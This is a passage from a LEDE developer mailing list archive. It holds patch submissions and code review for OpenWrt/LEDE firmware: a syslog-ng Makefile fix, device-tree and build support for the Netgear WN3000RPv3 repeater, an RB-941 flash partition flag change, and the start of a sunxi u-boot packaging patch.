format-patch/send-email to export and mail it. we cannot merge it in
this format i am afraid. please also make sure to add a Signed-off-by line

	John

On 16/01/2017 12:24, Milan Ko?vara wrote:
> Hello.
> I found typo in syslog-ng makefile.
> 
> I've upgraded to the newest version and I've made correction of the
> typo. Patch bellow.
> 
> Sorry for bad format of everything. I did it never :)
> 
> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
> @@ -1,14 +1,14 @@
>  include  $(TOPDIR)/rules.mk
> 
>  PKG_NAME:=syslog-ng
> -PKG_VERSION:=3.8.1
> -PKG_RELEASE:=3
> +PKG_VERSION:=3.9.1
> +PKG_RELEASE:=1
> 
>  PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
> 
>  PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
> 
> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
> 
> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
> 
>  PKG_INSTALL:=1
> 
> @@ -41,7 +41,7 @@
>  CONFIGURE_ARGS += \
>    $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>           --disable-dependency-tracking \
> -         --disable-ampq \
> +         --disable-amqp \
>           --disable-tcp-wrapper \
>           --disable-glibtest \
>           --disable-mongodb \
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From dev at kresin.me  Wed Jan 18 00:05:47 2017
From: dev at kresin.me (Mathias Kresin)
Date: Wed, 18 Jan 2017 09:05:47 +0100
Subject: [LEDE-DEV] [PATCH] This patch adds support for the Netgear
 WN3000RPv3 N300 repeater.
In-Reply-To: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>
References: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>
Message-ID: <8e04b4e4-3dfc-4d48-e12e-044d2d471919@kresin.me>

Hey Thibaut,

see my comment inline.

Mathias

17.01.2017 23:12, hacks at slashdirt.org:
> From: Thibaut VARENE <hacks at slashdirt.org>
>
> It uses the same trick as for the EX2700 to pass the Second Part
> Magic Check from the bootloader (as described here
> https://forum.openwrt.org/viewtopic.php?pid=312577#p312577 )
>
> Specifications:
> - SoC: MediaTek MT7620A (580MHz, ramips)
> - RAM: 32MB
> - Storage: 8MB NOR SPI flash
> - Wireless: builtin MT7620A
> - Ethernet: 1x100M
>
> Stock firmware is based on OpenWRT Kamikaze snapshot. To install
> LEDE, use the factory.bin image. Once LEDE is installed, subsequent
> updates can use the sysupgrade.bin image.
>
> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
> ---
>  target/linux/ramips/base-files/etc/board.d/01_leds |   3 +-
>  .../linux/ramips/base-files/etc/board.d/02_network |   1 +
>  target/linux/ramips/base-files/etc/diag.sh         |   3 +-
>  target/linux/ramips/base-files/lib/ramips.sh       |   3 +
>  .../ramips/base-files/lib/upgrade/platform.sh      |   1 +
>  target/linux/ramips/dts/WN3000RPV3.dts             | 148 +++++++++++++++++++++
>  target/linux/ramips/image/mt7620.mk                |  11 ++
>  7 files changed, 168 insertions(+), 2 deletions(-)
>  create mode 100644 target/linux/ramips/dts/WN3000RPV3.dts
>
> diff --git a/target/linux/ramips/base-files/etc/board.d/01_leds b/target/linux/ramips/base-files/etc/board.d/01_leds
> index 3d3aa0a..545d6a4 100755
> --- a/target/linux/ramips/base-files/etc/board.d/01_leds
> +++ b/target/linux/ramips/base-files/etc/board.d/01_leds
> @@ -155,7 +155,8 @@ vr500)
>  dir-860l-b1)
>  	ucidef_set_led_netdev "wan" "wan" "$board:green:net" "eth0.2"
>  	;;
> -ex2700)
> +ex2700|\
> +wn3000rpv3)
>  	ucidef_set_led_default "power_r" "POWER (red)" "$board:red:power" "0"
>  	set_wifi_led "$board:green:router"
>  	;;
> diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
> index baf619f..4c94fba 100755
> --- a/target/linux/ramips/base-files/etc/board.d/02_network
> +++ b/target/linux/ramips/base-files/etc/board.d/02_network
> @@ -58,6 +58,7 @@ ramips_setup_interfaces()
>  	timecloud|\
>  	w150m|\
>  	widora-neo|\
> +	wn3000rpv3|\
>  	wnce2001|\
>  	zbt-cpe102|\
>  	zte-q7)
> diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
> index 5367e65..9499833 100644
> --- a/target/linux/ramips/base-files/etc/diag.sh
> +++ b/target/linux/ramips/base-files/etc/diag.sh
> @@ -53,7 +53,8 @@ get_status_led() {
>  	jhr-n825r|\
>  	mpr-a1|\
>  	mpr-a2|\
> -	mzk-ex750np)
> +	mzk-ex750np|\
> +	wn3000rpv3)
>  		status_led="$board:red:power"

Any specific reason why you are using the red led here? I mean, you are 
switching on the green led already in the dts and red is at least for me 
some kind of warning signal, which I would not expect to see if 
everything is fine.

If you decide to use the green led, you can remove the red power off led 
from /etc/board.d/01_leds.


>  		;;
>  	ac1200pro|\
> diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
> index 6afe709..8292da1 100755
> --- a/target/linux/ramips/base-files/lib/ramips.sh
> +++ b/target/linux/ramips/base-files/lib/ramips.sh
> @@ -553,6 +553,9 @@ ramips_board_detect() {
>  	*"WMR-300")
>  		name="wmr-300"
>  		;;
> +	*"WN3000RPv3")
> +		name="wn3000rpv3"
> +		;;
>  	*"WNCE2001")
>  		name="wnce2001"
>  		;;
> diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
> index 0f2510c..c6ad8ca 100755
> --- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
> +++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
> @@ -157,6 +157,7 @@ platform_check_image() {
>  	wli-tx4-ag300n|\
>  	wlr-6000|\
>  	wmr-300|\
> +	wn3000rpv3|\
>  	wnce2001|\
>  	wndr3700v5|\
>  	wr512-3gn|\
> diff --git a/target/linux/ramips/dts/WN3000RPV3.dts b/target/linux/ramips/dts/WN3000RPV3.dts
> new file mode 100644
> index 0000000..8dc4249
> --- /dev/null
> +++ b/target/linux/ramips/dts/WN3000RPV3.dts
> @@ -0,0 +1,148 @@
> +/dts-v1/;
> +
> +#include "mt7620a.dtsi"
> +

Please include <dt-bindings/gpio/gpio.h> here as well.

Use the GPIO_ACTIVE_LOW and GPIO_ACTIVE_HIGH macros afterwards in stead 
of 1 and 0 in the gpio parameters.

Check the recent ramips board additions for examples.

> +#include <dt-bindings/input/input.h>
> +
> +/ {
> +	compatible = "ralink,mt7620a-soc";
> +	model = "Netgear WN3000RPv3";
> +
> +	chosen {
> +		bootargs = "console=ttyS0,57600";
> +	};
> +
> +	gpio-leds {
> +		compatible = "gpio-leds";
> +
> +		power_g {
> +			label = "wn3000rpv3:green:power";
> +			gpios = <&gpio0 9 1>;
> +			default-state = "on";
> +		};
> +
> +		power_r {
> +			label = "wn3000rpv3:red:power";
> +			gpios = <&gpio0 11 1>;
> +		};
> +
> +		client_g {
> +			label = "wn3000rpv3:green:client";
> +			gpios = <&gpio0 13 1>;
> +		};
> +
> +		client_r {
> +			label = "wn3000rpv3:red:client";
> +			gpios = <&gpio0 10 1>;
> +		};
> +
> +		router_g {
> +			label = "wn3000rpv3:green:router";
> +			gpios = <&gpio0 12 1>;
> +		};
> +
> +		router_r {
> +			label = "wn3000rpv3:red:router";
> +			gpios = <&gpio0 14 1>;
> +		};
> +
> +		wps {
> +			label = "wn3000rpv3:green:wps";
> +			gpios = <&gpio1 15 1>;
> +		};
> +
> +		l_arrow {
> +			label = "wn3000rpv3:blue:l_arrow";

I guess it would be more clear to use leftarrow and rightarrow here 
instead of abbreviations.

> +			gpios = <&gpio0 7 1>;
> +		};
> +
> +		r_arrow {
> +			label = "wn3000rpv3:blue:r_arrow";
> +			gpios = <&gpio0 8 1>;
> +		};
> +	};
> +
> +	gpio-keys-polled {
> +		compatible = "gpio-keys-polled";
> +		#address-cells = <1>;
> +		#size-cells = <0>;
> +		poll-interval = <20>;
> +
> +		reset {
> +			label = "reset";
> +			gpios = <&gpio0 1 1>;
> +			linux,code = <KEY_RESTART>;
> +		};
> +
> +		wps {
> +			label = "wps";
> +			gpios = <&gpio0 2 1>;
> +			linux,code = <KEY_WPS_BUTTON>;
> +		};
> +	};
> +};
> +
> +&gpio0 {
> +	status = "okay";
> +};

It should be safe to drop the gpio0 node. It should be already enabled 
in the mt7620a.dtsi.

> +
> +&gpio1 {
> +	status = "okay";
> +};
> +
> +&spi0 {
> +	status = "okay";
> +
> +	m25p80 at 0 {
> +		#address-cells = <1>;
> +		#size-cells = <1>;
> +		compatible = "jedec,spi-nor";
> +		reg = <0>;
> +		linux,modalias = "m25p80", "mx25l6405d";

Drop the linux,modalias line. It was only required for kernel < 4.4.

> +		spi-max-frequency = <10000000>;
> +
> +		partition at 0 {
> +			label = "u-boot";
> +			reg = <0x0 0x30000>;
> +			read-only;
> +		};
> +
> +		partition at 30000 {
> +			label = "u-boot-env";
> +			reg = <0x30000 0x10000>;
> +			read-only;
> +		};
> +
> +		partition at 40000 {
> +			label = "firmware";
> +			reg = <0x40000 0x7b0000>;
> +		};
> +
> +		art: partition at 7f0000 {
> +			label = "art";
> +			reg = <0x7f0000 0x10000>;
> +			read-only;
> +		};
> +	};
> +};
> +
> +&ethernet {
> +	mtd-mac-address = <&art 0x0>;
> +};
> +
> +&wmac {
> +	mtd-mac-address = <&art 0x6>;
> +	ralink,mtd-eeprom = <&art 0x1000>;
> +};
> +
> +&pinctrl {
> +	state_default: pinctrl0 {
> +		default {
> +			//  spi refclk: pins 37, 38, 39
> +			//       uartf: pins 8, 9, 10, 11, 12, 13, 14
> +			//         i2c: pins 1, 2

Remove the comments. If they are important, add the information to the 
commit message.

> +			ralink,group = "i2c", "uartf", "spi refclk";
> +			ralink,function = "gpio";
> +		};
> +	};
> +};
> diff --git a/target/linux/ramips/image/mt7620.mk b/target/linux/ramips/image/mt7620.mk
> index 1889bcf..42e0ab6 100644
> --- a/target/linux/ramips/image/mt7620.mk
> +++ b/target/linux/ramips/image/mt7620.mk
> @@ -75,6 +75,17 @@ define Device/ex2700
>  endef
>  TARGET_DEVICES += ex2700
>
> +define Device/wn3000rpv3
> +  DTS := WN3000RPV3
> +  BLOCKSIZE := 4k
> +  IMAGES += factory.bin
> +  KERNEL := $(KERNEL_DTB) | uImage lzma | pad-kernel-ex2700
> +  IMAGE/factory.bin := $$(sysupgrade_bin) | check-size $$$$(IMAGE_SIZE) | \
> +	netgear-header -B WN3000RPv3 -H 29764836+8+0+32+2x2+0
> +  DEVICE_TITLE := Netgear WN3000RPv3
> +endef
> +TARGET_DEVICES += wn3000rpv3
> +
>  define Device/wt3020-4M
>    DTS := WT3020-4M
>    BLOCKSIZE := 4k
>



From hacks at slashdirt.org  Wed Jan 18 01:44:19 2017
From: hacks at slashdirt.org (hacks at slashdirt.org)
Date: Wed, 18 Jan 2017 10:44:19 +0100
Subject: [LEDE-DEV] [PATCH V2] ar71xx: mark soft_config mtd part as
 writeable for RB-941-2nD
Message-ID: <1484732659-14431-1-git-send-email-hacks@slashdirt.org>

From: Thibaut VARENE <hacks at slashdirt.org>

The soft_config partition must be writeable for rbcfg to be able to
enact changes to the routerboot configuration.
The read-only flag was a mistake in the initial patch. Removing it
brings mach-rb941.c in line with all other RB platforms.

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
index 5a8c7c0..5da950b 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
@@ -99,7 +99,6 @@ static struct mtd_partition rb941_spi_partitions[] = {
             .name = "soft_config",
             .offset = RB_SOFT_CFG_OFFSET,
             .size = RB_SOFT_CFG_SIZE,
-            .mask_flags = MTD_WRITEABLE,
     }, {
             .name = "rootfs",
             .offset = RB_ROOTFS_OFFSET,
-- 
2.1.4



From hacks at slashdirt.org  Wed Jan 18 02:03:54 2017
From: hacks at slashdirt.org (Thibaut)
Date: Wed, 18 Jan 2017 11:03:54 +0100
Subject: [LEDE-DEV] [PATCH] This patch adds support for the Netgear
 WN3000RPv3 N300 repeater.
In-Reply-To: <8e04b4e4-3dfc-4d48-e12e-044d2d471919@kresin.me>
References: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>
 <8e04b4e4-3dfc-4d48-e12e-044d2d471919@kresin.me>
Message-ID: <2FE0B1F9-8D5C-4373-B05D-17461DF1BDAC@slashdirt.org>

Hi,

> Le 18 janv. 2017 ? 09:05, Mathias Kresin <dev at kresin.me> a ?crit :
> 
> Hey Thibaut,
> 
> see my comment inline.
> 
> Mathias
> 
> 17.01.2017 23:12, hacks at slashdirt.org:

>> --- a/target/linux/ramips/base-files/etc/diag.sh
>> +++ b/target/linux/ramips/base-files/etc/diag.sh
>> @@ -53,7 +53,8 @@ get_status_led() {
>> 	jhr-n825r|\
>> 	mpr-a1|\
>> 	mpr-a2|\
>> -	mzk-ex750np)
>> +	mzk-ex750np|\
>> +	wn3000rpv3)
>> 		status_led="$board:red:power"
> 
> Any specific reason why you are using the red led here? I mean, you are switching on the green led already in the dts and red is at least for me some kind of warning signal, which I would not expect to see if everything is fine.

Yes, this is to match stock firmware?s behavior:

This is a dual-color led. At power on, the boot loader brings both LEDs on, giving an orange status color. During boot up, LEDE will signal the boot / failsafe by blinking the red led, giving an orange-green blink. After boot is completed, the red LED is turned off to give a solid green.

> If you decide to use the green led, you can remove the red power off led from /etc/board.d/01_leds.

I think it?s fine the way it is. It also matches the EX2700 setup which is a very similar device.

>> --- /dev/null
>> +++ b/target/linux/ramips/dts/WN3000RPV3.dts
>> @@ -0,0 +1,148 @@
>> +/dts-v1/;
>> +
>> +#include "mt7620a.dtsi"
>> +
> 
> Please include <dt-bindings/gpio/gpio.h> here as well.
> 
> Use the GPIO_ACTIVE_LOW and GPIO_ACTIVE_HIGH macros afterwards in stead of 1 and 0 in the gpio parameters.
> 
> Check the recent ramips board additions for examples.

Done.

>> +
>> +		l_arrow {
>> +			label = "wn3000rpv3:blue:l_arrow";
> 
> I guess it would be more clear to use leftarrow and rightarrow here instead of abbreviations.

Done.

>> +			gpios = <&gpio0 7 1>;
>> +		};
>> +
>> +		r_arrow {
>> +			label = "wn3000rpv3:blue:r_arrow";
>> +			gpios = <&gpio0 8 1>;
>> +		};
>> +	};
>> +
>> +	gpio-keys-polled {
>> +		compatible = "gpio-keys-polled";
>> +		#address-cells = <1>;
>> +		#size-cells = <0>;
>> +		poll-interval = <20>;
>> +
>> +		reset {
>> +			label = "reset";
>> +			gpios = <&gpio0 1 1>;
>> +			linux,code = <KEY_RESTART>;
>> +		};
>> +
>> +		wps {
>> +			label = "wps";
>> +			gpios = <&gpio0 2 1>;
>> +			linux,code = <KEY_WPS_BUTTON>;
>> +		};
>> +	};
>> +};
>> +
>> +&gpio0 {
>> +	status = "okay";
>> +};
> 
> It should be safe to drop the gpio0 node. It should be already enabled in the mt7620a.dtsi.

Done.

>> +
>> +&gpio1 {
>> +	status = "okay";
>> +};
>> +
>> +&spi0 {
>> +	status = "okay";
>> +
>> +	m25p80 at 0 {
>> +		#address-cells = <1>;
>> +		#size-cells = <1>;
>> +		compatible = "jedec,spi-nor";
>> +		reg = <0>;
>> +		linux,modalias = "m25p80", "mx25l6405d";
> 
> Drop the linux,modalias line. It was only required for kernel < 4.4.

Done.

>> +		spi-max-frequency = <10000000>;
>> +
>> +		partition at 0 {
>> +			label = "u-boot";
>> +			reg = <0x0 0x30000>;
>> +			read-only;
>> +		};
>> +
>> +		partition at 30000 {
>> +			label = "u-boot-env";
>> +			reg = <0x30000 0x10000>;
>> +			read-only;
>> +		};
>> +
>> +		partition at 40000 {
>> +			label = "firmware";
>> +			reg = <0x40000 0x7b0000>;
>> +		};
>> +
>> +		art: partition at 7f0000 {
>> +			label = "art";
>> +			reg = <0x7f0000 0x10000>;
>> +			read-only;
>> +		};
>> +	};
>> +};
>> +
>> +&ethernet {
>> +	mtd-mac-address = <&art 0x0>;
>> +};
>> +
>> +&wmac {
>> +	mtd-mac-address = <&art 0x6>;
>> +	ralink,mtd-eeprom = <&art 0x1000>;
>> +};
>> +
>> +&pinctrl {
>> +	state_default: pinctrl0 {
>> +		default {
>> +			//  spi refclk: pins 37, 38, 39
>> +			//       uartf: pins 8, 9, 10, 11, 12, 13, 14
>> +			//         i2c: pins 1, 2
> 
> Remove the comments. If they are important, add the information to the commit message.

Done.

Thanks.

Thibaut

From hacks at slashdirt.org  Wed Jan 18 02:34:56 2017
From: hacks at slashdirt.org (hacks at slashdirt.org)
Date: Wed, 18 Jan 2017 11:34:56 +0100
Subject: [LEDE-DEV] [PATCH V2] ramips: add support for Netgear WN3000RPv3
Message-ID: <1484735696-14792-1-git-send-email-hacks@slashdirt.org>

From: Thibaut VARENE <hacks at slashdirt.org>

This patch adds support for the Netgear WN3000RPv3
http://www.netgear.com/support/product/wn3000rpv3.aspx

Specifications:
- SoC: MediaTek MT7620A (580MHz, ramips)
- RAM: 32MB DDR
- Storage: 8MB NOR SPI flash
- Wireless: builtin MT7620A, 2x2:2 with u.FL connectors
- Ethernet: 1x100M
- Serial: JP1 header, 57600-8N1
- Stock firmware based on OpenWRT Kamikaze

Like the EX2700, the bootloader expects a secondary image signature,
see https://forum.openwrt.org/viewtopic.php?pid=312577#p312577
This is why the same fakeroot image is used for the WN3000

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 target/linux/ramips/base-files/etc/board.d/01_leds |   3 +-
 .../linux/ramips/base-files/etc/board.d/02_network |   1 +
 target/linux/ramips/base-files/etc/diag.sh         |   3 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ramips/dts/WN3000RPV3.dts             | 143 +++++++++++++++++++++
 target/linux/ramips/image/mt7620.mk                |  11 ++
 7 files changed, 163 insertions(+), 2 deletions(-)
 create mode 100644 target/linux/ramips/dts/WN3000RPV3.dts

diff --git a/target/linux/ramips/base-files/etc/board.d/01_leds b/target/linux/ramips/base-files/etc/board.d/01_leds
index 3d3aa0a..545d6a4 100755
--- a/target/linux/ramips/base-files/etc/board.d/01_leds
+++ b/target/linux/ramips/base-files/etc/board.d/01_leds
@@ -155,7 +155,8 @@ vr500)
 dir-860l-b1)
 	ucidef_set_led_netdev "wan" "wan" "$board:green:net" "eth0.2"
 	;;
-ex2700)
+ex2700|\
+wn3000rpv3)
 	ucidef_set_led_default "power_r" "POWER (red)" "$board:red:power" "0"
 	set_wifi_led "$board:green:router"
 	;;
diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index baf619f..4c94fba 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -58,6 +58,7 @@ ramips_setup_interfaces()
 	timecloud|\
 	w150m|\
 	widora-neo|\
+	wn3000rpv3|\
 	wnce2001|\
 	zbt-cpe102|\
 	zte-q7)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index 5367e65..9499833 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -53,7 +53,8 @@ get_status_led() {
 	jhr-n825r|\
 	mpr-a1|\
 	mpr-a2|\
-	mzk-ex750np)
+	mzk-ex750np|\
+	wn3000rpv3)
 		status_led="$board:red:power"
 		;;
 	ac1200pro|\
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 6afe709..8292da1 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -553,6 +553,9 @@ ramips_board_detect() {
 	*"WMR-300")
 		name="wmr-300"
 		;;
+	*"WN3000RPv3")
+		name="wn3000rpv3"
+		;;
 	*"WNCE2001")
 		name="wnce2001"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index 0f2510c..c6ad8ca 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -157,6 +157,7 @@ platform_check_image() {
 	wli-tx4-ag300n|\
 	wlr-6000|\
 	wmr-300|\
+	wn3000rpv3|\
 	wnce2001|\
 	wndr3700v5|\
 	wr512-3gn|\
diff --git a/target/linux/ramips/dts/WN3000RPV3.dts b/target/linux/ramips/dts/WN3000RPV3.dts
new file mode 100644
index 0000000..deebfd0
--- /dev/null
+++ b/target/linux/ramips/dts/WN3000RPV3.dts
@@ -0,0 +1,143 @@
+/* This file is released into the public domain */
+
+/dts-v1/;
+
+#include "mt7620a.dtsi"
+
+#include <dt-bindings/input/input.h>
+#include <dt-bindings/gpio/gpio.h>
+
+/ {
+	compatible = "ralink,mt7620a-soc";
+	model = "Netgear WN3000RPv3";
+
+	chosen {
+		bootargs = "console=ttyS0,57600";
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		power_g {
+			label = "wn3000rpv3:green:power";
+			gpios = <&gpio0 9 GPIO_ACTIVE_LOW>;
+			default-state = "on";
+		};
+
+		power_r {
+			label = "wn3000rpv3:red:power";
+			gpios = <&gpio0 11 GPIO_ACTIVE_LOW>;
+		};
+
+		client_g {
+			label = "wn3000rpv3:green:client";
+			gpios = <&gpio0 13 GPIO_ACTIVE_LOW>;
+		};
+
+		client_r {
+			label = "wn3000rpv3:red:client";
+			gpios = <&gpio0 10 GPIO_ACTIVE_LOW>;
+		};
+
+		router_g {
+			label = "wn3000rpv3:green:router";
+			gpios = <&gpio0 12 GPIO_ACTIVE_LOW>;
+		};
+
+		router_r {
+			label = "wn3000rpv3:red:router";
+			gpios = <&gpio0 14 GPIO_ACTIVE_LOW>;
+		};
+
+		wps {
+			label = "wn3000rpv3:green:wps";
+			gpios = <&gpio1 15 GPIO_ACTIVE_LOW>;
+		};
+
+		l_arrow {
+			label = "wn3000rpv3:blue:leftarrow";
+			gpios = <&gpio0 7 GPIO_ACTIVE_LOW>;
+		};
+
+		r_arrow {
+			label = "wn3000rpv3:blue:rightarrow";
+			gpios = <&gpio0 8 GPIO_ACTIVE_LOW>;
+		};
+	};
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		reset {
+			label = "reset";
+			gpios = <&gpio0 1 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_RESTART>;
+		};
+
+		wps {
+			label = "wps";
+			gpios = <&gpio0 2 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_WPS_BUTTON>;
+		};
+	};
+};
+
+&gpio1 {
+	status = "okay";
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		spi-max-frequency = <10000000>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		partition at 40000 {
+			label = "firmware";
+			reg = <0x40000 0x7b0000>;
+		};
+
+		art: partition at 7f0000 {
+			label = "art";
+			reg = <0x7f0000 0x10000>;
+			read-only;
+		};
+	};
+};
+
+&ethernet {
+	mtd-mac-address = <&art 0x0>;
+};
+
+&wmac {
+	mtd-mac-address = <&art 0x6>;
+	ralink,mtd-eeprom = <&art 0x1000>;
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		default {
+			ralink,group = "i2c", "uartf", "spi refclk";
+			ralink,function = "gpio";
+		};
+	};
+};
diff --git a/target/linux/ramips/image/mt7620.mk b/target/linux/ramips/image/mt7620.mk
index 1889bcf..42e0ab6 100644
--- a/target/linux/ramips/image/mt7620.mk
+++ b/target/linux/ramips/image/mt7620.mk
@@ -75,6 +75,17 @@ define Device/ex2700
 endef
 TARGET_DEVICES += ex2700
 
+define Device/wn3000rpv3
+  DTS := WN3000RPV3
+  BLOCKSIZE := 4k
+  IMAGES += factory.bin
+  KERNEL := $(KERNEL_DTB) | uImage lzma | pad-kernel-ex2700
+  IMAGE/factory.bin := $$(sysupgrade_bin) | check-size $$$$(IMAGE_SIZE) | \
+	netgear-header -B WN3000RPv3 -H 29764836+8+0+32+2x2+0
+  DEVICE_TITLE := Netgear WN3000RPv3
+endef
+TARGET_DEVICES += wn3000rpv3
+
 define Device/wt3020-4M
   DTS := WT3020-4M
   BLOCKSIZE := 4k
-- 
2.1.4



From yszhou4tech at gmail.com  Tue Jan  3 03:05:35 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue, 03 Jan 2017 11:05:35 -0000
Subject: [LEDE-DEV] [PATCH v3 5/5] sunxi: define a Default profile
In-Reply-To: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483441434-31009-6-git-send-email-yszhou4tech@gmail.com>

To achieve this, we remove the uboot-sunxi package and build it on our
own so that we do not need to enumerate every uboot variants in the
package set of the default profile.

Then the default package set was generated by sort | uniq all current
available device packages and the result set seems tamable

It is also worth noting that these uboot variants will not be built in a
parallelized way because we use $(_SINGLE)$(SUBMAKE) at the moment

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 package/boot/uboot-sunxi/Makefile                  |  188 -
 .../patches/001-use-dtc-in-kernel.patch            |   11 -
 .../patches/002-add-olimex-a13-som.patch           |   21 -
 .../patches/003-add-theobroma-a31-pangolin.patch   |  385 --
 .../patches/010-dt-sync-files-with-kernel.patch    | 1403 ----
 .../011-dt-sync-dts-files-with-kernel.patch        | 7211 --------------------
 .../patches/012-sun6i-fix-clock_twi_onoff.patch    |   38 -
 .../patches/013-enable-realtek-phy.patch           |   24 -
 .../uboot-sunxi/patches/014-fix-gmac-init.patch    |  127 -
 .../patches/015-fix-2nd-usb-ctrler-on-sun47i.patch |   78 -
 .../patches/016-spl-print-mmc-slot.patch           |   31 -
 .../017-usb-add-support-for-usb3-vbus-pin.patch    |   39 -
 .../018-usb-specify-vbus-pins-on-orangepis.patch   |   31 -
 .../019-sid-add-efuse-support-for-h3-a83t.patch    |   33 -
 .../020-boot-display-board-model-on-startup.patch  |   23 -
 .../091-sun6i-sync-PLL1-multdiv-with-Boot1.patch   |   32 -
 .../patches/093-sun6i-fix-PLL-LDO-voltselect.patch |   70 -
 .../patches/100-sun6i-alternate-on-UART2.patch     |   16 -
 .../101-sun6i-support-console-on-UART2.patch       |   30 -
 .../102-sunxi-make_CONS_INDEX-configurable.patch   |   23 -
 package/boot/uboot-sunxi/uEnv-default.txt          |    6 -
 package/boot/uboot-sunxi/uEnv-pangolin.txt         |    6 -
 target/linux/sunxi/image/Makefile                  |   46 +-
 target/linux/sunxi/image/uboot/Makefile            |   65 +
 .../uboot/patches/001-use-dtc-in-kernel.patch      |   11 +
 .../uboot/patches/002-add-olimex-a13-som.patch     |   21 +
 .../patches/003-add-theobroma-a31-pangolin.patch   |  385 ++
 .../patches/010-dt-sync-files-with-kernel.patch    | 1403 ++++
 .../011-dt-sync-dts-files-with-kernel.patch        | 7211 ++++++++++++++++++++
 .../patches/012-sun6i-fix-clock_twi_onoff.patch    |   38 +
 .../uboot/patches/013-enable-realtek-phy.patch     |   24 +
 .../image/uboot/patches/014-fix-gmac-init.patch    |  127 +
 .../patches/015-fix-2nd-usb-ctrler-on-sun47i.patch |   78 +
 .../uboot/patches/016-spl-print-mmc-slot.patch     |   31 +
 .../017-usb-add-support-for-usb3-vbus-pin.patch    |   39 +
 .../018-usb-specify-vbus-pins-on-orangepis.patch   |   31 +
 .../019-sid-add-efuse-support-for-h3-a83t.patch    |   33 +
 .../020-boot-display-board-model-on-startup.patch  |   23 +
 .../091-sun6i-sync-PLL1-multdiv-with-Boot1.patch   |   32 +
 .../patches/093-sun6i-fix-PLL-LDO-voltselect.patch |   70 +
 .../patches/100-sun6i-alternate-on-UART2.patch     |   16 +
 .../101-sun6i-support-console-on-UART2.patch       |   30 +
 .../102-sunxi-make_CONS_INDEX-configurable.patch   |   23 +
 target/linux/sunxi/image/uboot/uEnv-default.txt    |    6 +
 target/linux/sunxi/image/uboot/uEnv-pangolin.txt   |    6 +
 target/linux/sunxi/profiles/00-default.mk          |   27 +
 46 files changed, 9759 insertions(+), 9843 deletions(-)
 delete mode 100644 package/boot/uboot-sunxi/Makefile
 delete mode 100644 package/boot/uboot-sunxi/patches/001-use-dtc-in-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/002-add-olimex-a13-som.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/003-add-theobroma-a31-pangolin.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/010-dt-sync-files-with-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/011-dt-sync-dts-files-with-kernel.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/012-sun6i-fix-clock_twi_onoff.patch
